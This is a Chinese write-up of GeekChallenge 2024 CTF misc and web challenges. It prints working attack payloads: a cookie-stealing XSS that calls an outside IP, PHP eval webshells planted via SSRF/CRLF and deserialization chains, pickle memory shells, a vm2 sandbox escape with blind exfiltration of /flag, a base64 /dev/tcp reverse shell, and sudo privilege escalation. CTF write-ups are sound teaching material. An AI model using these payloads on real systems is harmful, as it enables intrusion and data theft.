misc

压缩包尾部有隐写,可以得到解压密码。
打开后有一张图片和一堆空白字体猜测为snow隐写
图片存在盲水印

得到snow隐写的key

得到flag

doSomeMath

我们可以看到在元组中存在__ge__魔术方法,其逻辑是大于等于,那么我们只要().__ge__(())就可以得到True True+True=2。构造出数字和其实就是一步步算上去了

Secret of Starven

打开流量包,我们导出文件会发现有一张图片和压缩包,说实话图片还挺好看(嘿嘿)
压缩包需要密码,图片没有什么隐写,猜测密码应该外SMB的密钥,通过流量包来构造hash值

username::damonname: server challenge:ntproofstr:无ntproofstr的ntlmv2_response


1
Starven::192.168.11.20:9a35e37a04717230:189bf0b02d2f766af2242dc455ad4fe1:0101000000000000ca1f069a8a09db01980131a514a3d32d0000000002001e004400450053004b0054004f0050002d00510032004200390044004900410001001e004400450053004b0054004f0050002d00510032004200390044004900410004001e004400450053004b0054004f0050002d00510032004200390044004900410003001e004400450053004b0054004f0050002d00510032004200390044004900410007000800ca1f069a8a09db010600040002000000080030003000000000000000010000000020000044063d2e3ec53e332816d81a43ec5914e72ef2dc0599bfa08788e043eb523af80a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e00310031002e00320030000000000000000000
1
hashcat -O -a 0 -m 5600 2.hash /usr/share/wordlists/rockyou.txt

使用hashcode爆破

解压压缩包

hard_jail

查看源码我们可以发现其过滤了引号括号和@
参考文章https://www.tr0y.wang/2022/06/27/OrangeKiller_CTF_2_wp/
通过文章我们可以知道可以试用enum来进行逃逸payload如下

1
2
3
4
5
import enum
from os import system

enum.EnumMeta.__getitem__ = system
enum.Enum[request.args[{}.__doc__[2]+{}.__doc__[15]+{}.__doc__[0]]]

但是题目因为50个字符的限制我们无法直接照搬,最后的命令执行部分我们可以用a=[].__doc__[i]的方法来对变量进行赋值,然后再拼接变量即可
1
2
3
4
5
6
for j in "env":
for i in range(1,100):
if [].__doc__[i]==j:
print({}.__doc__[i])
print("%c=[].__doc__[%d]" %(j,i))
break

Truth of Word

在宏里有flag2

word里调色有flag1

解压word可以找到flag3

拼起来就是flag(好久之前截的图了,题目也不能再次提交flag,但应该没有错)

Welcome_jail

python逃逸可以禁用了很多但是可以使用ssti的方法来做,字符串全使用chr(xxx)来进行代替从而绕过引号等

1
2
3
4
5
6
7
8
9
10
while(True):
print('输入字符串')
s = str(input())
pay = "print(().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[chr(112)+chr(111)+chr(112)+chr(101)+chr(110)]({}).read())"
ch = ""
for i in s:
ch+="chr({})+".format(ord(i))
if ch.endswith('+'):
ch = ch[:-1]
print(pay.format(ch))

1
2
print(().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[chr(112)+chr(111)+chr(112)+chr(101)+chr(110)](chr(102)+chr(105)+chr(110)+chr(100)+chr(32)+chr(47)+chr(32)+chr(45)+chr(110)+chr(97)+chr(109)+chr(101)+chr(32)+chr(34)+chr(102)+chr(108)+chr(97)+chr(103)+chr(34)).read())


发现flag在/home/ctf/flag里

舔狗的觉醒

密码可以爆破
解压后又是一个压缩包的字节翻转

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def process_hex_file(file_path):
with open(file_path, 'r') as file:
# 读取文件内容
hex_str = file.read()

# 移除空格和换行符
hex_str = hex_str.replace(' ', '').replace('\n', '')

# 翻转每两个字符
reversed_str = ''.join([hex_str[i+1] + hex_str[i] for i in range(0, len(hex_str), 2)])

return reversed_str

# 示例调用
file_path = 'c:\\Users\\24882\\Downloads\\舔狗的觉醒\\byte-revenge.txt' # 替换为你的文件路径
result = process_hex_file(file_path)
print(result)


解压后得到一个flag.pdf

将其转为word
解压word后得到如下图片

cimbar

网上搜可以搜到这个开源项目

在实现细节可以找到每个符号对应的二进制。题目的符号是两个一组,其实就是将组成的值转为ascii码字符罢了
得到如下二进制

1
01010011 01011001 01000011 01111011 01000001 01101110 00110000 01110100 01101000 00110011 01110010 01011111 01000001 01101101 01000000 01111010 00110001 01101110 00111001 01011111 01010001 01010010 01011111 01000011 01101111 00110100 01100101 01111101


因为是解后过了很久又再写的,思路是没问题的,因为无法再次提交flag所以在转二进制的步骤中可能会有点小问题。但是思路是绝对没问题的

ez_jpg

打开福建是一段base64编码

可以发现是颠倒的jpg图片

得到的图片如上,明显是宽高出了问题,我们从气左右偏移可以猜测出是宽度出来问题,接下来就是不断的调整了最后在产生到8是得到了可以完美的图片

web

ezpop

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
Class SYC{
public $starven;
public function __call($name, $arguments){
if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){
die('no hack');
}
file_put_contents($this->starven,"<?php exit();".$this->starven);
}
}

Class lover{
public $J1rry;
public $meimeng;
public function __destruct(){
if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){
echo "success";
$this->meimeng->source;
}
}

public function __invoke()
{
echo $this->meimeng;
}

}

Class Geek{
public $GSBP;
public function __get($name){
$Challenge = $this->GSBP;
return $Challenge();
}

public function __toString(){
$this->GSBP->Getflag();
return "Just do it";
}

}
$a=new lover();
$a->meimeng=new Geek();
$a->meimeng->GSBP=new lover();
$a->meimeng->GSBP->meimeng=new Geek();
$a->meimeng->GSBP->meimeng->GSBP=new SYC();

$a->meimeng->GSBP->meimeng->GSBP->starven='php://filter/write=string.strip_tags/resource=?>php_value auto_prepend_file "/flag"<?/../../.htaccess';
$a->J1rry="data://text/plain;base64,V2VsY29tZSBHZWVrQ2hhbGxlbmdlIDIwMjQ=";

$b=serialize($a);
echo $b;
unserialize($b);


这个反序列化的链子还是挺简单的,其实就是
1
lover{__destruct}->Geek{__get()}->lover{__invoke}->Geek{__toString}->SYC{__call}

其实有两个waf第一个检测meimeng可以直接使用大写S加16进行绕过。file_get_contents($this->J1rry)就直接使用data://协议即可
最后写入文件我们还需要绕过exit函数,我试了一下,感觉找不到编码的过滤器于是我使用string.strip_tags去除exit然后将php_value auto_prepend_file “/flag”写入.htaccess使得php文件包含/flag这样在输入payload时就有机会将flag带出来(偶然试出来的),(正解应该时要写入一个jpg文件,然后将其解析为php文件,之后再文件头引入/flag,这样就可以直接得到flag了)https://jututu.top/2022/06/01/Dest0g3-520%E8%BF%8E%E6%96%B0%E8%B5%9B-WP/
1
?data=O:5:"lover":2:{s:5:"J1rry";s:61:"data://text/plain;base64,V2VsY29tZSBHZWVrQ2hhbGxlbmdlIDIwMjQ=";S:7:"\6Deimeng";O:4:"Geek":1:{s:4:"GSBP";O:5:"lover":2:{s:5:"J1rry";N;S:7:"\6Deimeng";O:4:"Geek":1:{s:4:"GSBP";O:3:"SYC":1:{s:7:"starven";s:101:"php://filter/write=string.strip_tags/resource=?>php_value auto_prepend_file "/flag"<?/../../.htaccess";}}}}}

Problem_On_My_Web

发现管理员bot会浏览留言板,猜测为xss,且flag再cookie中,且xss没有过滤

1
<script>document.location='http://xxx.xxx.38.159:8000/cookie.php?cookie='+document.cookie;</script>


需要本地ip,进行一下ip头伪造(我是直接用bp插件的)

后面发现好像不用伪造ip。。。主要是一开始直接用ip不知道为什么报错了

ez_http

签到题就不多说了

几个基础的传参,伪造ip头我直接用插件传了一堆进去

得到token后和key后,进行jwt伪造

hasFlag改为true得到flag

Can_you_Pass_Me

可以发现ssti,直接上我心爱的小fenjing


在读flag时回显如下。

直接弹shell(也可以打内存马)

ez_SSRF

www.zip有源码

打开会发现其调用了一个叫ScapClient类的calculator方法。简单查了一下发现,ScapClient就是一个用于创建soap客户端的类,而其中并没有calculator方法即会触发call,也就soap客户端向服务端发起了请求。
简单尝试一下

成功ssrf,我们在看一下另一个php文件

可以发现其要求为本地访问,所以我们需要使用ssrf来打他。
而要打他我们可以发现
我们需要进行POST传值来进行命令执行

还需要构造AUTHORIZATION标头,内容为Basic :加上aaaaaaaaaaaadmin:i_want_to_getI00_inMyT3st的base64编码

也就是要构造像下面那样的请求

1
2
3
4
5
6
7
8
9
10
11

POST / HTTP/1.1
Host: 127.0.0.1
Content-Length: 268
Connection: Keep-Alive
User-Agent: 123's Chrome
Content-Type: application/x-www-form-urlencoded
SOAPAction: "hahaha#calculator"
Authorization: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0

expression=system("echo+'<?php+eval(\$_POST[123]);?>'+>/var/www/html/LSE.php");

之前打das的时候有遇到过需要使用CRLF的情况https://www.cnblogs.com/piaomiaohongchen/p/15892211.html
经过尝试发现其存在CRLF即其解析了我们的%0D%0A。

又因为UA头的位置在Content-Length: 和Authorization:之上所以我们可以伪造POST请求(如果在Content-Length能不能成功我没尝试过)和Authorization:的内容。
即我们可以伪造出上面的payload了

1
aaaa%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AAuthorization%3A+Basic+YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0%0D%0AContent-Length%3A+79%0D%0A%0D%0Aexpression=system("echo+'<?php+eval(\$_POST[123]);?>'+>/var/www/html/LSE.php");

因为我们的Content-Length为79即POST传参79后的内容都不会被解析,即该请求发到后端被解析的真实表单应该为

1
2
3
4
5
6
7
8
9
POST / HTTP/1.1
Host: xxx.xxx.xxx.xxx:7777
Connection: Keep-Alive
User-Agent: aaaa
Content-Type: application/x-www-form-urlencoded
Authorization: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0
Content-Length: 79

expression=system("echo '<?php eval(\$_POST[123]);?>' >/var/www/html/LSE.php");

一开始在打这道题的时候,/flag内是没有真的flag的,而根目录下有个sh文件写着将flag写入到了mysql里,可是在打的时候发现mysql没有开启,而开启mysql要root权限,就这样我怼着提权怼了俩个多小时出不来,于是问了出题人:((环境出问题了))

escapeSandbox_PLUS

https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

1
ſYCLOVER

参考p牛的js大小写特性的文章可以知道ſYCLOVER会杯大写转为SYCLOVER而小写不会转为syclover



然后可以发现其为vm2沙箱,那么我们可以试用CVE-2023-30547来打这个逃逸payload如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('sleep 3'); }
)
}
}
};
p.then();

但是经过实测其没有回显,且好像不出网,curl和ping都不通。于是我就想到使用盲道,打时间延迟

可以先测出flag长度再继续盲注
payload如下
1
code[]=async%20function%20fn()%20%7B%0A%20%20%20%20(function%20stack()%20%7B%0A%20%20%20%20%20%20%20%20new%20Error().stack%3B%0A%20%20%20%20%20%20%20%20stack()%3B%0A%20%20%20%20%7D)()%3B%0A%7D%0Ap%20%3D%20fn()%3B%0Ap.constructor%20%3D%20%7B%0A%20%20%20%20%5BSymbol.species%5D%3A%20class%20FakePromise%20%7B%0A%20%20%20%20%20%20%20%20constructor(executor)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20executor(%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20(x)%20%3D%3E%20x%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20(err)%20%3D%3E%20%7B%20return%20err.constructor.constructor('return%20process')().mainModule.require('child_process').execSync('$(sleep+$(cat+/flag+|+cut+-c§2§+|+tr+§Y§+3))')%3B%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20)%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%7D%3B%0Ap.then()%3B

我将线程调到1间隔1秒也会出现网络波动,多试几次就好了

SYC{vM2_LAstDancE}
参考文章:基于时延的盲道研究:受限环境下的内容回传信道

noSandbox

一开始题目有给提示是芒果db。进入后需要登陆,那么猜测其为nosql注入,发现其解析json,构造永真式

1
2
{"username":{"$ne":1},"password": {"$ne":1}}


然后就是绕沙箱了。

看到这个沙箱说实话很熟悉,之前打NKCTF时就遇到过类似的,但是这题的waf更死,NKCTF的wp里有一种绕发如下

1
2
3
4
5
6
7
8
9
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return procBess'.replace('B','')))();
const obj = p.mainModule.require('child_procBess'.replace('B',''));
const ex = Object.getOwnPropertyDescriptor(obj, 'exeicSync'.replace('i',''));
return ex.value('whoami').toString();
}
})

但是这题过滤了replace。我们需要进行修改。我们可以将前俩个的replace改成大写转小写绕过。而后面一个execSync则不能直接通过这个方法绕过。这里我是使用slice来拆出字符转为小写,然后再用模板字符的方法来拼接上如下

1
2
3
4
5
6
7
8
9
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor(`return proCess`.toLowerCase()))();
const obj = p.mainModule.require(`child_proCess`.toLowerCase());
const ex = Object.getOwnPropertyDescriptor(obj, `${`exeCSync`.slice(0, 3)}${`exeCSync`.charAt(3).toLowerCase()}${`exeCSync`.slice(4)}`);
return ex.value(`whoami`).toString();
}
})

然后反弹shell
echo c2ggLWkgPiYgL2Rldi90Y3AvaXAvNzc3NyAwPiYx|base64 —decode|bash

100%的⚪

base64解码SYC{5UcH_@_Wo0d3rfUl_CiRc1e}

rce_me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
header("Content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);

# Can you RCE me?


if (!is_array($_POST["start"])) {
if (!preg_match("/start.*now/is", $_POST["start"])) {
if (strpos($_POST["start"], "start now") === false) {
die("Well, you haven't started.<br>");
}
}
}

echo "Welcome to GeekChallenge2024!<br>";

if (
sha1((string) $_POST["__2024.geekchallenge.ctf"]) == md5("Geekchallenge2024_bmKtL") &&
(string) $_POST["__2024.geekchallenge.ctf"] != "Geekchallenge2024_bmKtL" &&
is_numeric(intval($_POST["__2024.geekchallenge.ctf"]))
) {
echo "You took the first step!<br>";

foreach ($_GET as $key => $value) {
$$key = $value;
}

if (intval($year) < 2024 && intval($year + 1) > 2025) {
echo "Well, I know the year is 2024<br>";

if (preg_match("/.+?rce/ism", $purpose)) {
die("nonono");
}

if (stripos($purpose, "rce") === false) {
die("nonononono");
}
echo "Get the flag now!<br>";
eval($GLOBALS['code']);




} else {
echo "It is not enough to stop you!<br>";
}
} else {
echo "It is so easy, do you know sha1 and md5?<br>";
}
?>

这个判断直接传数组
__2024.geekchallenge.ctf非法变量名直接使用_[2024.geekchallenge.ctf来传值。

可以发现题目的md5值为0e开头的
然后sha1开头为0e的绕过md5值aaroZmOk
后面的变量我们直接GET传值然后变量覆盖即可
intval我们直接使用16进制绕过
最后一个正则我们可以看出来第一个用的是+号,这代表这rce前至少有一个,那么直接传入rce即可。(原本想试着用正则回溯的,但是好像GET不能传那么多字符)

SecretInDrivingSchool

账号密码为admin/SYC@chengxing

后台发现一个文件上传

其存在waf,我这里直接使用无字母数字webshell来绕过无字母数字webshell/?highlight=%E6%97%A0%E5%AD%97%E6%AF%8D)
异或绕过

1
code=<?php %24_%20%3D%20%22!((%25)(%22%5E%22%40%5B%5B%40%5B%5C%5C%22%3B%24__%20%3D%20%22!%2B%2F((%22%5E%22~%7B%60%7B%7C%22%3B%24___%20%3D%20%24%24__%3B%24_(%24___%5B_%5D)%3B ?>&save=%E4%BF%9D%E5%AD%98

baby_upload

产生了很多上传方法发现都不行,猜测有可能是中间件的解析漏洞


其存在换行符解析漏洞
Apache HTTPD 换行解析漏洞(CVE-2017-15715)


ez_python

注册登陆后可以得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import os
import secrets
from flask import Flask, request, render_template_string, make_response, render_template, send_file
import pickle
import base64
import black

app = Flask(__name__)

#To Ctfer:给你源码只是给你漏洞点的hint,怎么绕?black.py黑盒,唉无意义
@app.route('/')
def index():
return render_template_string(open('templates/index.html').read())

@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
usname = request.form['username']
passwd = request.form['password']

if usname and passwd:
heart_cookie = secrets.token_hex(32)
response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart")
response.set_cookie('heart', heart_cookie)
return response

return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
heart_cookie = request.cookies.get('heart')
if not heart_cookie:
return render_template('warning.html')

if request.method == 'POST' and request.cookies.get('heart') == heart_cookie:
statement = request.form['statement']

try:
heal_state = base64.b64decode(statement)
print(heal_state)
for i in black.blacklist:
if i in heal_state:
return render_template('waf.html')
pickle.loads(heal_state)
res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!")
flag = os.getenv("GEEK_FLAG") or os.system("cat /flag")
os.system("echo " + flag + " > /flag")
return res
except Exception as e:
print( e)
pass
return "Error!!!! give you hint: maybe you can view /starven_s3cret"

return render_template('login.html')

@app.route('/monologue',methods=['GET','POST'])
def joker():
return render_template('joker.html')

@app.route('/starven_s3cret', methods=['GET', 'POST'])
def secret():
return send_file(__file__,as_attachment=True)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)

可以发现只要登陆后就可以pickle反序列化,好像得绕waf,不管他先试一下内存马

1
2
3
4
5
6
7
8
9
10
import os
import pickle
import base64
class A():
def __reduce__(self):
return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('lse')).read()",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))


过了?

薛定谔的waf

not_just_pop

首先是php反序列,主要考点就是GC回收机制,利用数组的方式来触发, 链子我就不多说了如下

1
lhRaMK7{__destruct}->Parar{__set}->Starven{__toString}->Parar{__get}->SYC->{__isset}->Starven{__call}->lhRaMK7{invoke}

代码会抛出异常所以我们要使用GC回收机制来提前触发反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
highlight_file(__FILE__);
ini_get('open_basedir');

class lhRaMK7{
public $Do;
public $You;
public $love="eval(\$_POST[123]);";
public $web;


}

class Parar{
private $execurise="man!";
public $lead;
public $hansome;

}

class Starven{
public $girl;
public $friend;


}
class SYC{
private $lover;
public $forever;
public function __isset($args){
return $this->forever->nononon();
}

}

$a=new lhRaMK7();
$a->You=new Parar();
$a->You->lead=new Starven();
$a->You->lead->girl=new Parar();
$a->You->lead->girl->hansome=new SYC();
$a->You->lead->girl->hansome->forever=new Starven();
$a->You->lead->girl->hansome->forever->friend=new lhRaMK7();
$a=array("0"=>$a,"1"=>null);
$b=serialize($a);
echo urlencode($b);

将输出的值中的后面的1改为0,再url解码。然后再base64编码


存在disable_functions用蚁剑来绕
直接蚁剑连
使用PHP7 Backtrace UAF成功绕过

然后就是sudo提权了
sudo -l

会发现有env。我们可以使用env来sudo提权
sudo env /bin/bash -c “cat /flag”

php不比java差

我们看一下会找到一个入口点方法__unserialize,这个魔术方法是8.1版本出的,起在反序列时触发,且如果于wakeup同时存在时,只触发__unserialize起参数$data其实就是存储了该类所有属性的数组
而最终的命令执行点其实就是下面的反射调用来进行命令执行
任意代码执行下的php原生类利用

即我们只要将IS赋值为system,where赋值为ReflectionFunction。Starven赋值为invoke。最后就可以命令执行Girlfriend的内容了

链子很短我们只要将change赋值为implode,Geek其中一个属性赋值为Syclover。这样就会导致$data内的Syclover于另一个属性拼接从而触发toString。然后反射调用命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php


class Challenge{
public $file;
public function Sink()
{
echo "<br>!!!A GREAT STEP!!!<br>";
echo "Is there any file?<br>";
if(file_exists($this->file)){
global $FLAG;
echo $FLAG;
}
}
}

class Geek{
public $a="aaa";
public $b;
public function __unserialize(array $data): void
{
$change="implode";
$FUNC=$change($data);
$FUNC();
}
}

class Syclover{
public $Where;
public $IS;
public $Starven="invoke";
public $Girlfriend=array("http://111.230.38.159:8000/evil.xml",2);
public function __toString()
{
echo "__toString is called<br>";
$eee=new $this->Where($this->IS);
$fff=$this->Starven;
$eee->$fff($this->Girlfriend);
return "111";
}
}

$a=new Geek();
$a->a=new Syclover();
$a->a->Where="ReflectionFunction";
$a->a->IS='system';
$a->a->Girlfriend="echo '<?php eval(\$_POST[123]);phpinfo();?>' > /var/www/html/shell.php";

$b=serialize($a);
echo $b;
#unserialize($b);
1
O:4:"Geek":2:{s:1:"a";O:8:"Syclover":4:{s:5:"Where";s:18:"ReflectionFunction";s:2:"IS";s:6:"system";s:7:"Starven";s:6:"invoke";s:10:"Girlfriend";s:69:"echo '<?php eval($_POST[123]);phpinfo();?>' > /var/www/html/shell.php";}s:1:"b";N;}

输入

1
find / -user root -perm -4000 -print 2>/dev/null

可以发现其存在suid权限的有file那么我们就可以用这个来读取文件

py_game

骗子假的

还是得session伪造

得到其key为a123456我们将username改为admin

接下来访问admin

可以下载pyc

反编译得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190

import json
from lxml import etree
from flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonify
app = Flask(__name__)
app.secret_key = 'a123456'
app.config['xml_data'] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>'

class User:

def __init__(self, username, password):
self.username = username
self.password = password


def check(self, data):
if self.username == data['username']:
pass
return self.password == data['password']


admin = User('admin', '123456j1rrynonono')
Users = [
admin]

def update(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and isinstance(v, dict):
update(v, dst.get(k))
else:
dst[k] = v
if hasattr(dst, k) and isinstance(v, dict):
update(v, getattr(dst, k))
continue
setattr(dst, k, v)



def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
for u in Users:
if u.username == username:
flash('用户名已存在', 'error')
return redirect(url_for('register'))

new_user = User(username, password)
Users.append(new_user)
flash('注册成功!请登录', 'success')
return redirect(url_for('login'))
return None('register.html')

register = app.route('/register', [
'GET',
'POST'], **('methods',))(register)

def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
for u in Users:
if u.check({
'username': username,
'password': password }):
session['username'] = username
flash('登录成功', 'success')
return redirect(url_for('dashboard'))

flash('用户名或密码错误', 'error')
return redirect(url_for('login'))
return None('login.html')

login = app.route('/login', [
'GET',
'POST'], **('methods',))(login)

def play():
if 'username' in session:
with open('/app/templates/play.html', 'r', 'utf-8', **('encoding',)) as file:
play_html = file.read()
return play_html
None('请先登录', 'error')
return redirect(url_for('login'))

play = app.route('/play', [
'GET',
'POST'], **('methods',))(play)

def admin():
if 'username' in session and session['username'] == 'admin':
return render_template('admin.html', session['username'], **('username',))
None('你没有权限访问', 'error')
return redirect(url_for('login'))

admin = app.route('/admin', [
'GET',
'POST'], **('methods',))(admin)

def downloads321():
return send_file('./source/app.pyc', True, **('as_attachment',))

downloads321 = app.route('/downloads321')(downloads321)

def index():
return render_template('index.html')

index = app.route('/')(index)

def dashboard():
if 'username' in session:
is_admin = session['username'] == 'admin'
if is_admin:
user_tag = 'Admin User'
else:
user_tag = 'Normal User'
return render_template('dashboard.html', session['username'], user_tag, is_admin, **('username', 'tag', 'is_admin'))
None('请先登录', 'error')
return redirect(url_for('login'))

dashboard = app.route('/dashboard')(dashboard)

def xml_parse():

try:
xml_bytes = app.config['xml_data'].encode('utf-8')
parser = etree.XMLParser(True, True, **('load_dtd', 'resolve_entities'))
tree = etree.fromstring(xml_bytes, parser, **('parser',))
result_xml = etree.tostring(tree, True, 'utf-8', True, **('pretty_print', 'encoding', 'xml_declaration'))
return Response(result_xml, 'application/xml', **('mimetype',))
except etree.XMLSyntaxError:
e = None

try:
return str(e)
e = None
del e
return None



xml_parse = app.route('/xml_parse')(xml_parse)
black_list = [
'__class__'.encode(),
'__init__'.encode(),
'__globals__'.encode()]

def check(data):
print(data)
for i in black_list:
print(i)
if i in data:
print(i)
return False

return True


def update_route():
if 'username' in session and session['username'] == 'admin':
if request.data:

try:
if not check(request.data):
return ('NONONO, Bad Hacker', 403)
data = None.loads(request.data.decode())
print(data)
if all((lambda .0: pass)(data.values())):
update(data, User)
return (jsonify({
'message': '更新成功' }), 200)
return None
except Exception:
e = None

try:
return (f'''Exception: {str(e)}''', 500)
e = None
del e
return ('No data provided', 400)
return redirect(url_for('login'))
return None



update_route = app.route('/update', [
'POST'], **('methods',))(update_route)
if __name__ == '__main__':
app.run('0.0.0.0', 80, False, **('host', 'port', 'debug'))


首先我们可以看到update_route路由是存在原型连污染的而/xml_parse会解析xml,xml的内容是config[‘xml_data’],那么我们只要污染其值就可以打xxe如下

ez_include

可以进行日志文件包含
直接UA头写马

phpinfo里有flag

jwt_pickle

正常的注册是会将账号密码存在user_list里的,但是登陆时除了admin其他的is_admin的值都为false。猜测要进行jwt伪造

先注册两个账号,使用jwt_forgery来生成公钥(这个方法还是在网鼎学的,不知道出题人是在网鼎前出的还是网鼎后出的)

接着看源码

可以发现admin路由在RS256解密失败时会使用HS256解密,这时候我们只要将jwt使用HS256公钥作为key即可进行jwt伪造。

而我们可以看到其提取jwt中的introduction来base64解密pickle反序列化,这里就存在pickle反序列化漏洞

我这里就直接打内存马了

1
2
3
4
5
6
7
8
9
10
import os
import pickle
import base64
class A():
def __reduce__(self):
return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('gxngxngxn')).read()",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

然后对其进行HS256的jwt加密
1
2
3
4
5
6
var jwt = require('jsonwebtoken');
var fs = require('fs');

var privateKey = fs.readFileSync('D:\\工具\\CTF工具\\JWT\\rsa_sign2n-release(flask_cve_JWT_public)\\standalone\\ae677efb83731c6f_65537_pkcs1.pem');
var token = jwt.sign({ username: '123',password: "202cb962ac59075b964b07152d234b70", is_admin: true ,introduction:"gASV4QAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIzFZ2xvYmFsIGV4Y19jbGFzcztnbG9iYWwgY29kZTtleGNfY2xhc3MsIGNvZGUgPSBhcHAuX2dldF9leGNfY2xhc3NfYW5kX2NvZGUoNDA0KTthcHAuZXJyb3JfaGFuZGxlcl9zcGVjW05vbmVdW2NvZGVdW2V4Y19jbGFzc10gPSBsYW1iZGEgYTpfX2ltcG9ydF9fKCdvcycpLnBvcGVuKHJlcXVlc3QuYXJncy5nZXQoJ2d4bmd4bmd4bicpKS5yZWFkKCmUhZRSlC4=" }, privateKey, { algorithm: 'HS256' });
console.log(token)

主要username和password的值是要在user_list里的即是注册过的。

ez_js

根据hint可以猜出,其账号密码为Starven/123456

得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
const { merge } = require('./utils/common.js'); 

function handleLogin(req, res) {
var geeker = new function() {
this.geekerData = new function() {
this.username = req.body.username;
this.password = req.body.password;
};
};

merge(geeker, req.body);

if(geeker.geekerData.username == 'Starven' && geeker.geekerData.password == '123456'){
if(geeker.hasFlag){
const filePath = path.join(__dirname, 'static', 'direct.html');
res.sendFile(filePath, (err) => {
if (err) {
console.error(err);
res.status(err.status).end();
}
});
}else{
const filePath = path.join(__dirname, 'static', 'error.html');
res.sendFile(filePath, (err) => {
if (err) {
console.error(err);
res.status(err.status).end();
}
});
}
}else{
const filePath = path.join(__dirname, 'static', 'error2.html');
res.sendFile(filePath, (err) => {
if (err) {
console.error(err);
res.status(err.status).end();
}
});
}
}
function merge(object1, object2) {
for (let key in object2) {
if (key in object2 && key in object1) {
merge(object1[key], object2[key]);
} else {
object1[key] = object2[key];
}
}
}

module.exports = { merge };


看代码可以知道其可以原型链污染,我们只要污染hasFlag的原型使其有值即可
1
{"username":"Starven","password":"123456","constructor":{"prototype":{"hasFlag":"1"}}}

套娃,玩呢?
其说和前面一样,那么其后端应该还是解析json,但是我们无法传json进去这使用就要用如下方法来传值,js会将下面的传的值进行拼接,最终再json解析时仍然可以被正常解析

funnySQL

